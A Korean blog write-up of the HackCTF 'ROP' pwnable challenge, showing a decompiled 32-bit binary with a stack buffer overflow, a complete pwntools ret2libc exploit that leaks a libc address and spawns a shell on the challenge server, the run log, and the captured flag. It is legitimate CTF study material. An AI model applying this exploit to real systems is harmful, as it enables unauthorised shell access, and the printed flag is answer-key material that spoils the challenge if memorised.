[HackCTF / pwnable] ROP
2019. 10. 18. 07:54ㆍWargame & CTF/HackCTF
Summary
32bit
Analysis
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
read때문에 buf에 버퍼오버플로우가 나게 된다.
Exploit
from pwn import *
e = ELF("./rop")
#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz", 3021)
#libc = e.libc
libc = ELF("./libc.so.6")
pr = 0x0804850b
pppr = 0x08048509
payload = ""
payload += "A"*(0x88+0x4)
payload += p32(e.plt["write"])
payload += p32(pppr)
payload += p32(0x1)
payload += p32(e.got["write"])
payload += p32(0x4)
payload += p32(e.symbols["vulnerable_function"])
p.sendline(payload)
write_addr = u32(p.recv(4))
libc_base = write_addr - libc.symbols["write"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + list(libc.search("/bin/sh"))[0]
payload = ""
payload += "A"*(0x88+0x4)
payload += p32(system_addr)
payload += p32(pr)
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
일단 system함수가 쓰이지 않았다. libc base를 찾아서 system함수로 쉘을 띄우면 된다.
write함수로 write의 got를 출력한다. 그리고 vulnerable_function으로 돌려서 입력을 다시 한번 더 받는다.
write의 got를 구했으므로 libc base를 구할수있다.
system주소와 libc안에 있는 "/bin/sh"의 주소를 넘기면 쉘이 뜬다.
Flag
cg10036@cg10036-virtual-machine:~/hackCTF/rop$ p ex.py
[*] '/home/cg10036/hackCTF/rop/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to ctf.j0n9hyun.xyz on port 3021: Done
[*] '/home/cg10036/hackCTF/rop/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ cat flag
HackCTF{4bcd3fg7ijPlmA4pqrtuvxza2cdef}
'Wargame & CTF > HackCTF' 카테고리의 다른 글
[HackCTF / pwnable] You are silver (0) | 2019.10.19 |
---|---|
[HackCTF / pwnable] Unexploitable #1 (0) | 2019.10.18 |
[HackCTF / pwnable] Pwning (0) | 2019.10.18 |
[HackCTF / pwnable] Gift (0) | 2019.10.18 |
[HackCTF / pwnable] Look at me (0) | 2019.10.15 |